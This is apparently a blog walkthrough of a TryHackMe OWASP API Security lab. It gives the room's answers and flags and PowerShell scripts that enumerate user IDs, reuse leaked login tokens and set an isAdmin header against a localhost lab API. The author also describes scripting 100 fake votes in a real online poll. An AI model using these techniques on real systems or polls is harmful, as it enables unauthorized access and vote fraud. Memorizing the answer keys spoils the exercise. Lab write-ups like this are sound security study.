TL;DR Walkthrough of the TryHackMe room OWASP API Security Top 10–1.
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
I am an unashamed Windows Guy. I am mediocre at best at webapps. Honestly the only reason that I am even middling in that arena is thanks to TryHackMe and eJPT.
I started on this room because my current college class is going over the SDLC … and is quite frankly boring the living daylights out of me in the process. I had to memorize some terms related to SDLC for CISSP or GSLC years ago. I find the material incredibly tedious and uninteresting though, just a small step above project management material. Hence some hands on learning is always a bonus.
I wouldn’t have bothered creating a walkthrough of this room except that I went a different way than TryHackMe suggested and used PowerShell and Invoke-WebRequest to complete the tasks. I had screwed around with Invoke-WebRequest a bit before. Someone had asked us to vote for their kid’s teacher for ‘Teacher of the Month’, so I fired up Burp Suite, copy/pasted the POST parameter, and asked CW6 Google how to send a POST with PowerShell. Once I made sure it worked for 1 or 2 votes I shot the guy a function that’d cast 100 votes if he felt like running it. (The sleep timer for a random time in between iterations of the loop came from that project.)
This room got me to dig that little project out of the Google Drive, dust it off, tweak the code, and figure out how to send GET parameters as well.
I will show the questions and answers for each section first and then the PowerShell I used to get the answers. I am sure someone who’s smarter than me could have whipped this up quicker in Python on Linux, but I’m a Windows Guy.
— — Task 1 — -
xfreerdp /v:10.10.165.252 /u:Administrator /p:Owasp@123
— — Task 2 — -
In the LinkedIn breach (Jun 2021), how many million records (sample) were posted by a hacker on the dark web?
1
Is the API documentation a trivial item and not used after API development (yea/nay)?
Nay
I understand the APIs and am ready to learn OWASP Top 10 Principles.
No answer needed
— — Task 3 — -
Suppose the employee ID is an integer with incrementing value. Can you check through the vulnerable API endpoint the total number of employees in the company?
3
What is the flag associated with employee ID 2?
THM{838123}
What is the username of employee ID 3?
Bob
$x = 0
$z = 9
Do
{
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule1_v/user/$x" -Method Get
If($Result.Content -ne "$null")
{
Write-Host "User # $x exists."
$Result.RawContent
Write-Host " "
}
$RandomNumber = Get-Random -Maximum 60 -Minimum 10
#Start-Sleep -Seconds $RandomNumber
$x = $x + 1
}
While($x -le $z)
— — Task 4 — -
Can you find the token of hr@mht.com?
cOC%Aonyis%H)mZ&uJkuI?_W#4&m>Y
To which country does sales@mht.com belong?
China
Is it a good practice to send a username and password in a GET request (yea/nay)?
Nay
This might have been the best section of this room. I had to capture the output of a POST request, parse the data, and then pipe a portion of that data into a GET request.
This is a simple example of the results from an Invoke-WebRequest. The result itself is an object, so we can query $Result.Content for example. The problem is that the attribute itself is a string, and we need to capture a portion of that string in a variable for use later.
Hence I used split and some trial & error. It’s a duct tape type solution, but it worked. I am sure there is a better, more refined way to do this that I’ll have to learn later. If anyone reading this knows then feel free to leave pointers in the comments.
$Users = Get-Content "C:\Users\Administrator\Desktop\Users.txt"
ForEach($User in $Users)
{
$postParams = @{email="$user@mht.com";password="LiterallyAnything"}
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule2/user/login_v" -Method Post -Body $postParams
If($Result.Content -ne "$null")
{
Write-Host " - - Requesting $User … - -"
Write-Host " "
$Result.RawContent
Write-Host " "
Write-Host "These are the results we get after passing their token to /apirule2/user/details"
Write-Host " "
$Token = ($Result.Content).Split('"')[7]
$GetParams = @{"Authorization-Token"="$Token"}
$Result2 = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule2/user/details" -Method Get -Headers $GetParams
$Result2.Content
Write-Host " "
}
}
— — Task 5 — -
What is the device ID value for post-ID 2?
iOS15.411
What is the username value for post-ID 3?
hacker#!
Should we use network-level devices for controlling excessive data exposure instead of managing it through APIs (programmatically) — (yea/nay)?
Nay
$x = 0
$z = 9
Do
{
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule3/comment_v/$x" -Method Get
If($Result.Content -ne "$null")
{
Write-Host "User # $x exists."
$Result.Content
Write-Host " "
}
$RandomNumber = Get-Random -Maximum 60 -Minimum 10
#Start-Sleep -Seconds $RandomNumber
$x = $x + 1
}
While($x -le $z)
— — Task 6 — -
Can rate limiting be carried out at the network level through firewall etc. (yea/nay)?
Yea
What is the HTTP response code when you send a POST request to /apirule4/sendOTP_s using the email address hr@mht.com?
200
What is the “msg key” value after an HTTP POST request to /apirule4/sendOTP_s using the email address sale@mht.com?
Invalid Email
$Users = Get-Content "C:\Users\Administrator\Desktop\Users.txt"
ForEach($User in $Users)
{
$postParams = @{email="$user@mht.com"}
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule4/sendOTP_s" -Method Post -Body $postParams
If($Result.Content -ne "$null")
{
Write-Host " - - Requesting $User … - -"
Write-Host " "
$Result.StatusCode
$Result.Content
Write-Host " "
}
}
— — Task 7 — -
What is the mobile number for the username Alice?
1235322323
Is it a good practice to send isAdmin value through the hidden fields in form requests — yea/nay?
Nay
What is the address flag of username admin?
THM{3432$@#2!}
This one was actually quite straightforward. THM gave us the token value and let us know to set ‘isAdmin = 1’.
$Token = "YWxpY2U6dGVzdCFAISM6Nzg5Nzg="
$GetParams = @{"Authorization-Token"="$Token";"isAdmin"="1"}
$Result = Invoke-WebRequest -Uri "http://localhost:80/MHT/apirule5/users_v" -Method Get -Headers $GetParams
$Result.Content
— — Task 8 — -
No answer needed
Summary
This was another good room on THM. I learned how to pass multiple parameters via POST and GET requests. I also got some data parsing practice in, which is never a bad thing.
JMHO, but PowerShell is more about knowing what you’re trying to work with than it is about knowing PowerShell itself. I learned just enough about POST and GET requests to klutz my way through this room.
References
Invoke-WebRequest POST with parameters: https://stackoverflow.com/questions/17325293/invoke-webrequest-post-with-parameters
Invoke-WebRequest: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4
Split a string into an array: https://www.sqlshack.com/powershell-split-a-string-into-an-array/